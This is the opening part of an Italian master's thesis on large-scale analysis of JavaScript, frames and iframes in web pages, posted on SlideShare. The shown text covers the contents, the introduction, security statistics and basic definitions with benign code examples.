• Share
  • Email
  • Embed
  • Like
  • Save
  • Private Content
Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
 

Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

on

  • 6,169 views

 

Statistics

Views

Total Views
6,169
Views on SlideShare
6,169
Embed Views
0

Actions

Likes
1
Downloads
16
Comments
0

0 Embeds 0

No embeds

Accessibility

Categories

Upload Details

Uploaded via as Adobe PDF

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

    Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web Document Transcript

    • ` UNIVERSITA DEGLI STUDI DI TRIESTE ` FACOLTA DI INGEGNERIA Corso di laurea specialistica in Ingegneria Informatica Tesi di laurea in Complementi di Reti di Calcolatori Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web LAUREANDA RELATORE Sara Zambon Chiar.mo Prof. Alberto Bartoli CORRELATORE Ing. Eric Medvet Anno Accademico 2008/2009
    • Ai miei genitori
    • Indice 1 Introduzione 1 2 Script JavaScript frame e iframe 3 2.1 Stato attuale di sicurezza nel Web . . . . . . . . . . . . . . . . . . . . . . 3 2.2 Script . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 2.2.1 L’elemento script . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 2.3 JavaScript . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 2.3.1 Le caratteristiche di JavaScript . . . . . . . . . . . . . . . . . . . . 6 2.3.1.1 Esempio di codice JavaScript . . . . . . . . . . . . . . . . 6 2.4 Frame . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 2.4.1 L’elemento frame . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 2.4.1.1 Esempio di un documento composto da tre frame . . . . 8 2.5 Inline Frame . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 2.5.1 L’elemento iframe . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 2.5.1.1 Esempio di un iframe . . . . . . . . . . . . . . . . . . . . 9 2.6 Quesiti preliminari allo studio . . . . . . . . . . . . . . . . . . . . . . . . . 10 2.6.1 I cinque quesiti . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12 3 Il dataset 13 3.1 Le fonti . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13 3.1.1 La fonte per le pagine Normal . . . . . . . . . . . . . . . . . . . . . 13 3.1.1.1 Alexa Top Sites . . . . . . . . . . . . . . . . . . . . . . . 14 3.1.2 La fonte per le pagine Malicious . . . . . . . . . . . . . . . . . . . 14 3.1.2.1 Malware Domain List . . . . . . . . . . . . . . . . . . . . 14 3.1.3 La fonte per le pagine Interesting . . . . . . . . . . . . . . . . . . . 15 3.2 Metodologia di scaricamento delle pagine . . . . . . . . . . . . . . . . . . 15 3.2.1 Definizioni generali . . . . . . . . . . . . . . . . . . . . . . . . . . . 15 3.2.2 Nostre definizioni . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16 3.2.3 Goldrake . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17 3.3 Dimensione complessiva del dataset . . . . . . . . . . . . . . . . . . . . . . 17 v
    • INDICE vi 4 Metodologia di analisi 19 4.1 Suddivisione del dataset . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19 4.1.1 La tabella degli script . . . . . . . . . . . . . . . . . . . . . . . . . 19 4.1.1.1 Lo script: dalla pagina alla tabella . . . . . . . . . . . . . 21 4.1.2 La tabella dei frame e degli iframe . . . . . . . . . . . . . . . . . . 23 4.1.2.1 L’iframe: dalla pagina alla tabella . . . . . . . . . . . . . 24 4.2 Analisi sugli script e sugli iframe . . . . . . . . . . . . . . . . . . . . . . . 25 4.2.1 Propriet` estratte dagli script . . . . . . . . a . . . . . . . . . . . . . 25 4.2.2 Propriet` estratte dai frame e dagli iframe . a . . . . . . . . . . . . . 26 5 Offuscamento 27 5.1 Definizione di offuscamento . . . . . . . . . . . . . . . . . . . . . . . . . . 27 5.2 Programmi atti all’offuscamento . . . . . . . . . . . . . . . . . . . . . . . 28 5.3 Programmi per offuscare codice JavaScript . . . . . . . . . . . . . . . . . . 28 5.3.1 Primo esempio di funzionamento di un JavaScript obfuscator . . . 29 5.3.2 Secondo esempio di funzionamento di un JavaScript obfuscator . . 30 5.4 JavaScript come veicolo di contenuti maligni . . . . . . . . . . . . . . . . . 31 5.5 Script JavaScript offuscati e maligni . . . . . . . . . . . . . . . . . . . . . 32 5.6 Eval, cardine nell’offuscamento automatico . . . . . . . . . . . . . . . . . 34 5.6.1 Funzioni alla base dell’offuscamento . . . . . . . . . . . . . . . . . 34 5.6.1.1 Semplice tecnica di deoffuscamento . . . . . . . . . . . . 34 5.6.2 Alternative alla funzione eval() . . . . . . . . . . . . . . . . . . . 34 5.7 Esempi di codici offuscati . . . . . . . . . . . . . . . . . . . . . . . . . . . 35 5.7.1 Primo esempio . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36 5.7.2 Secondo esempio . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37 5.8 Iframe invisibili e maligni . . . . . . . . . . . . . . . . . . . . . . . . . . . 38 5.8.1 Caratteristiche comuni ad iframe maligni . . . . . . . . . . . . . . 38 5.9 La nostra analisi sull’offuscamento . . . . . . . . . . . . . . . . . . . . . . 39 5.9.1 Propriet` offuscate degli script . . . . . . . . . . . . . . . . . . a . . 40 5.9.1.1 Definizione di sequenza offuscata . . . . . . . . . . . . . . 40 5.9.2 Il concetto di propriet` offuscata . . . . . . . . . . . . . . . . . a . . 41 5.9.3 Esempi di propriet` offuscate . . . . . . . . . . . . . . . . . . . a . . 42 5.9.3.1 Funzioni con nome offuscato . . . . . . . . . . . . . . . . 42 5.9.3.2 Varibili con nome offuscato . . . . . . . . . . . . . . . . . 42 5.9.3.3 Variabile con argomento offuscato . . . . . . . . . . . . . 44 5.9.3.4 document.write() con argomento offuscato . . . . . . . 44 5.9.3.5 iframe con argomento offuscato . . . . . . . . . . . . . . 44 5.9.3.6 iframe invisibile . . . . . . . . . . . . . . . . . . . . . . . 44 5.9.3.7 Stringa con argomento offuscato . . . . . . . . . . . . . . 45 5.9.3.8 Stringa lunga priva di punteggiatura . . . . . . . . . . . . 45 5.9.3.9 eval() con argomento offuscato . . . . . . . . . . . . . . 45 5.9.3.10 unescape() con argomento offuscato . . . . . . . . . . . 46 5.9.4 Il test con gli analisti . . . . . . . . . . . . . . . . . . . . . . . . . . 46
    • vii INDICE 5.10 Due criteri di offuscamento per gli script . . . . . . . . . . . . . . . . . . . 47 6 Analisi 51 6.1 Caratterizzazione generale . . . . . . . . . . . . . . . . . . . . . . . . . . . 51 6.1.1 Caratterizzazione a livello pagina . . . . . . . . . . . . . . . . . . . 51 6.1.2 Caratterizzazione a livello script . . . . . . . . . . . . . . . . . . . 53 6.2 Inclusione di script da url diversi . . . . . . . . . . . . . . . . . . . . . . . 53 6.3 Massima profondit` di inclusione degli script . . . . . . . . . . . a . . . . . 54 6.3.1 Massima profondit` osservata a livello pagina . . . . . . . a . . . . . 54 6.3.2 Massima profondit` osservata a livello script . . . . . . . a . . . . . 56 6.4 Utilizzo di eval() . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 57 6.4.1 Diffusione generale dell’utilizzo di eval() . . . . . . . . . . . . . . 57 6.4.2 Diffusione dell’utilizzo di eval() con argomento lungo . . . . . . . 58 6.4.3 Diffusione dell’utilizzo di eval() con argomento offuscato . . . . . 59 6.5 Utilizzo di iframe sospettosamente piccoli . . . . . . . . . . . . . . . . . . 59 6.6 Utilizzo di tecniche di offuscamento . . . . . . . . . . . . . . . . . . . . . . 60 6.6.1 Diffusione dell’utilizzo di unescape() . . . . . . . . . . . . . . . . 62 6.6.2 Relazioni fra le features di offuscamento delle propriet` . a . . . . . 63 7 Conclusioni e sviluppi futuri 65 A Il codice 69 A.1 Oggetto PageAnalizer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 69 A.1.1 Metodi dell’oggetto PageAnalizer . . . . . . . . . . . . . . . . . . 69 A.2 Oggetto ScriptAnalizer . . . . . . . . . . . . . . . . . . . . . . . . . . . 70 A.2.1 Metodi dell’oggetto ScriptAnalizer . . . . . . . . . . . . . . . . . 70 A.3 Oggetto FrameAndIframeAnalizer . . . . . . . . . . . . . . . . . . . . . . 71 A.3.1 Metodi dell’oggetto FrameAndIframeAnalizer . . . . . . . . . . . 71 Bibliografia e siti web consultati 73 Ringraziamenti 75
    • Elenco dei codici 2.1 Esempio di codice JavaScript . . . . . . . . . . . . . . . . . . . . . . . . . 6 2.2 Esempio di un documento composto da tre frame . . . . . . . . . . . . . . 8 2.3 Esempio di un iframe . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 4.1 Codice dello script . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21 4.2 Codice dello script . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22 4.3 Codice dell’iframe . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24 5.1 Frammento di codice JavaScript da offuscare . . . . . . . . . . . . . . . . 29 5.2 Stesso frammento di codice JavaScript dopo l’offuscamento . . . . . . . . 29 5.3 Frammento di codice JavaScript da offuscare . . . . . . . . . . . . . . . . 30 5.4 Stesso frammento di codice JavaScript dopo l’offuscamento . . . . . . . . 31 5.5 Codice dello script presente nelle pagine infette . . . . . . . . . . . . . . . 33 5.6 Creazione dinamica di una variabile tramite la funzione eval() . . . . . . 35 5.7 Creazione dinamica di una variabile tramite l’oggetto window . . . . . . . 35 5.8 Codice dello script di terzo livello . . . . . . . . . . . . . . . . . . . . . . . 36 5.9 Codice dello script di secondo livello . . . . . . . . . . . . . . . . . . . . . 36 5.10 Codice dello script di primo livello . . . . . . . . . . . . . . . . . . . . . . 36 5.11 Iframe dalle dimensioni nulle . . . . . . . . . . . . . . . . . . . . . . . . . 37 5.12 Script puntato dal precedente iframe . . . . . . . . . . . . . . . . . . . . . 37 5.13 Codice dello script deoffuscato . . . . . . . . . . . . . . . . . . . . . . . . 37 5.14 Iframe reso invisibile dalle dimensioni nulle (width=0 e height=0). . . . . 38 5.15 Iframe reso invisibile da un’unica dimesione nulla (height=0). . . . . . . . 38 5.16 Iframe di dimensioni minime e dunque difficilmente percepibile. . . . . . . 39 5.17 Iframe reso invisibile dall’attributo visibility:hidden. . . . . . . . . . . 39 5.18 Iframe non visibile perch` interno a un “contenitore” <div> invisibile. e . . 39 5.19 Argomento offuscato di una variabile . . . . . . . . . . . . . . . . . . . . . 44 5.20 Argomento offuscato di un document.write() . . . . . . . . . . . . . . . 44 5.21 Argomento offuscato di un iframe . . . . . . . . . . . . . . . . . . . . . . 44 5.22 iframe con gli attributi width e height nulli . . . . . . . . . . . . . . . . 44 5.23 Argomento offuscato di una stringa . . . . . . . . . . . . . . . . . . . . . . 45 5.24 Argomento offuscato di una stringa lunga . . . . . . . . . . . . . . . . . . 45 ix
    • ELENCO DEI CODICI x 5.25 Argomento offuscato di un eval() . . . . . . . . . . . . . . . . . . . . . . 45 5.26 Argomento offuscato di un unescape() . . . . . . . . . . . . . . . . . . . 46
    • Elenco delle figure 2.1 Finestra visualizzata grazie allo script . . . . . . . . . . . . . . . . . . . . 7 2.2 Inserimento dei dati da inviare all’applicazione . . . . . . . . . . . . . . . 7 2.3 Finestra che si apre a seguito dell’interazione fra utente e applicazione . . 7 2.4 Pagina web composta da tre frame . . . . . . . . . . . . . . . . . . . . . . 9 2.5 Iframe ospitato all’interno di una pagina web . . . . . . . . . . . . . . . . 10 4.1 Home page di Amazon visualizzata tramite un browser . . . . . . . . . . . 22 5.1 Drive-by download a seguito di un attacco browser exploit . . . . . . . . . 40 6.1 Grafici di distribuzione sul numero di script inclusi per pagina . . . . . . . 52 6.2 Grafici di distribuzione cumulativa sulla somma delle dimensioni degli script per pagina . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 52 6.3 Grafici di distribuzione cumulativa sulla dimensione degli script in caratteri 53 6.4 Grafici di distribuzione sull’inclusione di script da domini diversi . . . . . 54 6.5 Grafici di distribuzione sulla massima profondit` senza redirezioni per il a numero di pagine . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55 6.6 Grafici di distribuzione sulla massima profondit` con redirezioni per il a numero di pagine . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55 6.7 Grafici di distribuzione sulla massima profondit` senza redirezioni per la a percentuale di script calcolata sulla numero assoluto degli stessi . . . . . . 56 6.8 Grafici di distribuzione sulla massima profondit` senza redirezioni per la a percentuale di script calcolata sulla dimensione degli stessi . . . . . . . . . 57 6.9 Grafico a barre sull’utilizzo di eval() . . . . . . . . . . . . . . . . . . . . 58 6.10 Grafico a barre sull’utilizzo di eval() con argomento superiore a 140 caratteri . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 58 6.11 Grafico a barre sull’utilizzo di eval() con argomento offuscato . . . . . . 59 6.12 Grafico di distribuzione sull’utilizzo di iframe con dimensioni minori di 3px * 3px per la percentuale di pagine Normal . . . . . . . . . . . . . . . 60 xi
    • ELENCO DELLE FIGURE xii 6.13 Grafico a barre sulla percentuale di script offuscati ricavata tramite il classificatore MLP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61 6.14 Grafico a barre sulla percentuale di script offuscati ricavata tramite il classificatore basato sulle soglie . . . . . . . . . . . . . . . . . . . . . . . . 61 6.15 Grafico a barre sull’utilizzo di unescape() . . . . . . . . . . . . . . . . . . 62 6.16 Grafico a barre sull’utilizzo di unescape() con argomento offuscato . . . . 62 6.17 Matrice dei diagrammi di dispersione . . . . . . . . . . . . . . . . . . . . . 63
    • Elenco delle tabelle 5.1 Propriet` e relative condizioni di offuscamento . . . . . . . . . . . a . . . . 43 5.2 Percentuali di giudizi comuni associate agli script . . . . . . . . . . . . . . 48 5.3 Features . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 49 5.4 Soglie sulle features per il secondo bit di offuscamento dello script . . . . 50 xiii
    • Capitolo 1 Introduzione Il Web ha subito una totale trasformazione, passando da semplice infrastruttura per l’accesso a dati remoti a complesso sistema contraddistinto da una spiccata interazio- ne con l’utente. I fruitori di servizi web sono quotidianamente subissati da contenuti provenienti dai siti visitati. Tali contenuti spesso consistono in codice che dev’essere eseguito sui sistemi client, operazione che ormai risulta essere essenziale per usufruire delle funzionalit` di cui i moderni siti sono provvisti. a Lo scenario che ne deriva pu` assumere connotati inquietanti in termini di sicurezza o informatica. La navigazione fra le pagine di un affermato quotidiano online, solitamente ` percepita dall’utente come un’azione sicura. Ci` che forse ignora il visitatore ` che e o e il contenuto ricevuto spesso include una mix di codici provenienti da siti terzi, verso i quali egli ripone la propria fiducia senza, tuttavia, esserne a conoscenza. Un’ulteriore insidia per l’inconsapevole utente ` rappresentata da contenuti invisibili, e di solito iframe, o comunque sfuggevoli alla vista, i quali, ad esempio, sono in grado di inoltrare la navigazione verso siti poco raccomandabili se non addirittura diffusori di software dannoso per il sistema dell’utente. Un altro aspetto cruciale in questo panorama ` rappresentato dall’offuscamento. I e contenuti inviati ai vari client possono comprendere anche frammenti di codice offuscato, quindi codice deliberamente modificato al fine di renderne ardua l’analisi. Come verr` a meglio illustrato lungo questo elaborato, alla base dell’offuscamento del codice risiedo- no obiettivi discrepanti: dalla protezione della paternit` del codice, all’occultazione di a contenuti maligni. Prima di iniziare l’intera trattazione, si propone un esempio che presenta uno scenario in cui sono presenti tutti gli aspetti appena accennati. L’esempio ` tratto dal Google e Technical Report [1] pubblicato nel 2008. All’interno di una pagina web, appartenente ad un sito di una stazione radio olandese, durante la loro indagine, i ricercatori Google rilevarono la presenza di un’inserzione pubblicitaria che rimandava ad un sito tedesco. Tramite una porzione di codice JavaScript, l’utente veniva inoltrato verso un altro sito pubblicitario negli Stati Uniti che a sua volta reindirizzava la navigazione verso i Paesi Bassi. Il viaggio dell’utente procedeva fino ad un nuovo sito, sempre nella stessa zona, dal 1
    • 1. Introduzione 2 quale veniva scaricato uno script offuscato che puntava ad un’ulteriore script localizzato in Austria. Quest’ultimo indirizzava il browser dell’utente, tramite una catena di iframe, verso il sito finale che provocava lo scaricamento automatico di sofware dannoso sul sistema client. L’estrema rilevanza di questi fenomeni nel Web e le enormi dimensioni potenzialmen- te raggiungibili dai loro effetti in termini di sicurezza, mettono in risalto l’importanza del nostro lavoro di ricerca che ha avuto come obiettivo la caratterizzazione dei fatti citati. Nel panorama odierno l’attenzione di cui essi godono ` talmente modesta da sottostimar- e ne l’importanza; infatti, ci sono ancora molte domande alle quali non ` stato risposto in e maniera adeguata. Ad esempio, non si trovano studi che chiariscano quanto sia diffuso l’utilizzo del codice offuscato all’interno delle pagine web o che relazione sussista, nel caso ve ne sia una, fra offuscamento e pagine sospette oppure ancora se l’offuscamento si riscontri pi` frequentemente nei codici inclusi da altri domini. Una conoscenza lacunosa u avvolge anche questioni che sorgono attorno alla diffusione dell’impiego dei contenuti invisibili precedentemente menzionati oppure di eval, una discussa funzione JavaScript, potenzialmente in grado di compiere qualsiasi azione e per questo assisa al ruolo di musa ispiratrice da una folta schiera di criminali informatici. Per tentare di fornire una risposta a queste domande, abbiamo scelto di condurre le nostre analisi su un migliaio di pagine collezionate in maniera oculata al fine di ottenere una plausibile rappresentazione del Web. Da ciascuna pagina abbiamo prelevato script, frame e iframe contenuti nella pagina stessa o richiamati da fonti esterne, ottenendo di conseguenza i tre elementi cardine della nostra indagine. Durante lo scaricamento delle pagine, per ognuno dei tre elementi, oltre al puro codice, si ` tenuto traccia di tutti gli e URL attraversati per raggiungere effettivamente quel contenuto. Una volta completato l’intero download, abbiamo dato avvio al nostro studio estraen- do da ciascun codice in nostro possesso un set di propriet` relative, ad esempio, alla defi- a nizione di funzioni da parte del programmatore, oppure all’utilizzo di particolari costrutti o funzioni JavaScript. Analizzando e compiendo specifiche elaborazioni sui dati derivati dallo scaricamento e su quelli estratti dai vari codici, abbiamo cercato di rispondere alle domande iniziali.
    • Capitolo 2 Script JavaScript frame e iframe Il crescente aumento di applicazioni online che permettono uno spiccato livello d’in- terazione con l’utente, come ad esempio blog, forum, chat e sistemi quali Wikipedia, Youtube, Facebook, Myspace, Twitter, Gmail, Wordpress, Tripadvisor, ha portato con s` l’inevitabile incremento dell’utilizzo di script, frammenti di codice che consentono e concretamente l’interazione. L’utilizzo di queste tecniche nasconde purtoppo un rovescio della medaglia. Infatti, se da un lato questi strumenti sono forieri di vantaggi notevoli, i quali hanno dato vita a una nuova era per il Web, che viene definita 2.0 per marcare il confine tra l’accezione statica precedente e quella dinamica attuale, dall’altro offrono nuovi mezzi per alcuni tipi di attacchi informatici. Da queste considerazioni ha preso spunto la nostra attivit` di ricerca, la cui materia a d’indagine ` rappresentata da script JavaScript, frame e iframe. e Nella prima parte del capitolo, dopo una panoramica sulla situazione attuale in termini di sicurezza informatica, si forniscono al lettore alcune definizioni introduttive all’argomento; di seguito a questa, vengono esposti i quesiti attorno a script JavaScript, frame e iframe, dai quali ha avuto origine l’intero studio. 2.1 Stato attuale di sicurezza nel Web Prima di entrare nel vivo di script, frame e iframe, in questa sezione si elencano alcuni fra i risultati della ricerca “Websense Security Labs, State of Internet Security, Q1-Q2 2009”[9], effettuata dall’azienda Websense1 sullo stato di sicurezza nel web e pubblicata nel settembre 2009: 1 Websense, Inc.: azienda californiana che opera nel settore delle tecnologie integrate di protezione Web, email e Dati. L’azienda produce soluzioni che mirano a bloccare i codici malevoli, a impedire la perdita di informazioni confidenziali e a configurare policy di sicurezza sull’utilizzo di Internet. Ogni ora Websense R Security LabsTM ThreatSeekerTM Network analizza oltre 40 milioni di siti Web e dieci milioni di email per identificare contenuti indesiderati e malicious code. 3
    • 2. Script JavaScript frame e iframe 4 • Websense R Security LabsTM ha registrato una crescita del 233% del numero di siti Internet malicious nel corso degli ultimi sei mesi e una crescita del 671% di questi nell’ultimo anno; • nella prima met` del 2009, il 77% dei siti Web con malicious code erano costituiti a da siti Internet affidabili che sono stati compromessi. Questa percentuale elevata `e stata causata in particolare negli ultimi sei mesi da alcuni attacchi quali Gumblar (vedi sezione 5.5 a pagina 32), Beladen e Nine Ball che hanno compromesso siti Web considerati altamente affidabili attraverso una serie di attacchi a catena; • i siti Web 2.0 che consentono contenuti generati dagli utenti finali sono un target importante per i cybercriminali e gli spammer. La tecnologia Websense DefensioTM ha consentito ai Websense R Security LabsTM di stabilire che il 95% dei commenti generati dagli utenti di blog, chat room e bacheche sono spam2 o malicious. • gli sforzi dei siti Web 2.0 di rendere le proprie pagine sicure sono risultati non efficaci. La ricerca Websense infatti dimostra che i tool di sicurezza utilizzati da siti quali YouTube e BlogSpot sono dal 65% al 75% inefficaci nel proteggere gli utenti Web da contenuti pericolosi e rischi relativi alla sicurezza. • il 69% di tutte le pagine Internet con contenuti classificati come inappropriati (contenuti pornografici, gioco d’azzardo, droghe) contenevano almeno un link ma- licious. Il dato diventa ancora pi` significativo con il 78% dei nuovi siti Internet u scoperti nella prima met` del 2009 che contiene almeno un link pericoloso; a • Websense R Security LabsTM ha riscontrato che il 37% degli attacchi Web hanno l’obiettivo di sottrarre dati e informazioni personali fondamentali degli utenti; • il Web continua ad essere il vettore preferito per il furto di dati. Nella prima met` a del 2009 i Websense Security Labs hanno constatato che il 57% degli attacchi che avevano come obiettivo il furto di dati erano stati condotti attraverso la Rete; • la convergenza di attacchi misti Web ed email continua a crescere. Secondo Websense R Security LabsTM , l’85,6% di tutta la posta indesiderata in circolazione contiene link a siti di spam e/o a siti Web pericolosi; • solamente a giugno il numero totale di email che contenevano virus ` cresciuta del e 600% rispetto al mese precedente. 2.2 Script Uno script lato client ` un programma che pu` accompagnare un documento HTML e o oppure essere incorporato direttamente in esso. Il programma viene eseguito sulla mac- china client quando viene caricato il documento, o in un secondo tempo, per esempio 2 Spam: messaggi indesiderati generalmente a scopi pubblicitari. Con spamming si indica l’invio di grandi quantit` di questo genere di messaggi solitamente tramite email. a
    • 5 JavaScript quando viene attivato un collegamento. Gli script offrono ai progettisti alcuni mezzi per estendere i documenti HTML in maniera attiva e interattiva. Le caratteristiche di uno script possono essere cos` elencate: ı • gli script possono essere attivati da eventi che coinvolgono il documento, come il caricamento, lo scaricamento, la focalizzazione di elementi, movimenti del mouse, e cos` via; ı • gli script possono essere collegati a controlli, come i bottoni, per produrre gli elementi di interfaccia; • gli script possono processare i dati appena vengono immessi dall’utente all’interno di form. 2.2.1 L’elemento script Il tag <script> pone uno script all’interno di un documento. Gli attributi pricipali di questo tag sono: • src: attributo che specifica la locazione di uno script esterno al documento, quindi l’URL3 tramite cui recuperare lo script; se l’attributo non ` impostato, il contenuto e dello script ` definito all’interno dell’elemento stesso; e • type: attributo che specifica il linguaggio di scripting per il contenuto dell’elemen- to. Il linguaggio di scripting ` indicato come un tipo di contenuto (per esempio e type="text/javascript"); • language: valore che contiene l’identificatore del linguaggio di scripting; poich´ gli e identificatori non sono standard, questo attributo ` stato “disapprovato” in favore e dell’attributo type. 2.3 JavaScript JavaScript ` un linguaggio di scripting orientato agli oggetti4 comunemente utilizzato e nei siti web. Fu originariamente sviluppato da Brendan Eich della Netscape Communications con il nome di Mocha e successivamente di LiveScript, ma in seguito ` stato rinominato e JavaScript ed ` stato formalizzato con una sintassi pi` vicina a quella del linguaggio e u Java di Sun Microsystems. JavaScript ` stato standardizzato per la prima volta tra il e 1997 e il 1999 dalla ECMA con il nome ECMAScript. L’ultimo standard, del dicembre 3 URL: Uniform Resource Locator, sequenza di caratteri che identifica univocamente l’indirizzo di una risorsa in Internet. 4 Programmazione orientata agli oggetti: paradigma di programmazione che prevede di raggruppare in un’unica entit` (la classe) sia le strutture dati che le procedure che operano su di esse, creando per a l’appunto un oggetto software dotato di propriet` (dati) e metodi (procedure) che operano sui dati dello a stesso.
    • 2. Script JavaScript frame e iframe 6 ` 1999, ` ECMA-262 Edition 3, e corrisponde a JavaScript 1.5. E anche uno standard e ISO. 2.3.1 Le caratteristiche di JavaScript La caratteristica principale di JavaScript ` quella di essere un linguaggio interpretato. e Il codice quindi non viene compilato bens` c’` un interprete (in JavaScript lato client ı e esso ` incluso nel browser) che esegue riga per riga, a tempo di esecuzione, quanto e trascritto nello script. JavaScript presenta quindi tutte le caratteristiche di un normale linguaggio interpretato con una sintassi analoga a quella di un linguaggio compilato (essa ` relativamente simile a quella del C, del C++ e del Java), quindi con la possibilit` di e a utilizzare funzionalit` tipiche dei linguaggi di programmazione ad alto livello (strutture a di controllo, cicli, ecc.) e con in pi` anche la potenzialit` di definire strutture pi` u a u complesse, vicine a quelle adottate nei normali linguaggi orientati agli oggetti (definizione di costruttori, creazione di prototipi, istanziazione di oggetti). Poich´ il linguaggio JavaScript non ha propri costrutti di input o output, un in- e terprete JavaScript si basa su un programma ospite in cui ` integrato. Ci sono molti e programmi ospiti di questo tipo, di cui quelli relativi al Web sono gli esempi pi` noti. u JavaScript, se integrato in un web browser, si collega tramite interfacce DOM5 alle applicazioni, specialmente al lato server (web server) e al lato client (browser) delle applicazioni internet. Molti siti web usano la tecnologia JavaScript lato client per creare potenti applicazioni web dinamiche. Gli standard DOM imposti dal W3C6 non sempre vengono rispettati dai vari browser: browser diversi (anche a seconda del loro motore di rendering) espongono diversi oggetti o metodi allo script, quindi, ` spesso necessario implementare controlli aggiuntivi ad una e funzione JavaScript, per garantirne la compatibilit` con ciascun browser. La diversit` a a dei DOM dei browser pu` essere aggirata anche attraverso l’uso dell’istruzione eval(). o Questa funzione nativa valuta una stringa e la esegue come se fosse codice JavaScript. Un uso principale del JavaScript basato su web ` la scrittura di piccole funzioni e integrate nelle pagine HTML che interagiscono con il DOM del browser per compiere determinate azioni non possibili con il solo HTML statico come ad esempio controllare i valori nei campi di input, creare finestre pop-up nascondere o visualizzare determinati elementi. 2.3.1.1 Esempio di codice JavaScript 1 < script type = " text / javascript " > 5 DOM : Document Object Model, standard ufficiale di rappresentazione dei documenti strutturati come modello orientato agli oggetti. 6 W3C : World Wide Web Consortium, associazione fondata nel 1994 da Tim Berners Lee, padre del web, al MIT (Massachusetts Institute of Technology), in collaborazione con il CERN (Organizzazione Europea per la Ricerca Nucleare), con lo scopo di sviluppare tecnologie che garantiscano l’interoperabilit` a (specifiche, guidelines, software e applicazioni) per guidare il World Wide Web fino al massimo del suo potenziale.
    • 7 Frame 2 function show_prompt () { 3 var name = prompt ( " Please enter your name " ," write here " ) ; 4 if ( name != null && name != " " ) { 5 alert ( " Hello " + name + " ! How are you today ? " ) ; 6 } 7 } 8 </ script > Codice 2.1: Esempio di codice JavaScript Figura 2.1: Finestra visualizzata grazie allo script Figura 2.2: Inserimento dei dati da inviare all’applicazione Figura 2.3: Finestra che si apre a seguito dell’interazione fra utente e applicazione 2.4 Frame Nelle pagine web si parla di frame quando una pagina ` scomposta in diverse sezioni e tra loro indipendenti. Frame ` anche il nome del tag HTML che indica ognuna di tali e sezioni. I frame HTML permettono ai progettisti di presentare i documenti in visualizzazioni multiple, che possono essere finestre indipendenti o sotto finestre. Le visualizzazioni
    • 2. Script JavaScript frame e iframe 8 multiple offrono ai progettisti un modo per mantenere visibili certe informazioni, mentre altre visualizzazioni vengono fatte scorrere o rimpiazzate. Per esempio, all’interno della stessa finestra, un frame pu` visualizzare un banner statico, il secondo un men` di o u navigazione, e il terzo il documento principale che pu` essere fatto scorrere verso l’alto o o verso il basso, o che pu` essere rimpiazzato navigando tramite il secondo frame (vedi o Figura 2.4). L’obiettivo dei frame ` quello di evitare di dover riscrivere interamente ogni pagina e in tutte le sue componenti. Ci` risulta possibile suddividendo la pagina per lasciare o intatti, ad esempio, i frame con banner e men` e ricaricare solamente il contenuto del u frame centrale, permettendo cos` di gestire una mole di codice nettamente minore. ı 2.4.1 L’elemento frame Per poter creare una pagina con i frame viene utilizzato il tag HTML <frameset> che inizializza la struttura di una pagina con i frame. All’interno del tag <frameset> trova posto il tag <frame> i cui attributi principali sono: • id: identificativo del frame; • src: stringa che specifica quale pagina deve essere caricata all’interno del frame stesso. Gli attributi del tag <frameset> permettono di conferire le dimensioni ai frame e sono: • cols: valore che specifica la dimensione delle colonne di ogni frame; • rows: valore che specifica la dimensione delle righe di ogni frame; La struttura dei frame non necessita di trovarsi all’interno del tag HTML <body> ma deve essere inserita dopo il tag di chiusura </head>. 2.4.1.1 Esempio di un documento composto da tre frame 1 < html > 2 < head > 3 < title >A simple frameset document </ title > 4 </ head > 5 < frameset cols = " 20% ,80% " > 6 < frameset rows = " 100 ,200 " > 7 < frame src = " logoUnits . gif " > 8 < frame src = " menu . html " > 9 </ frameset > 10 < frame src = " http :// www . inginf . units . it / Home " > 11 </ frameset > 12 </ html > Codice 2.2: Esempio di un documento composto da tre frame
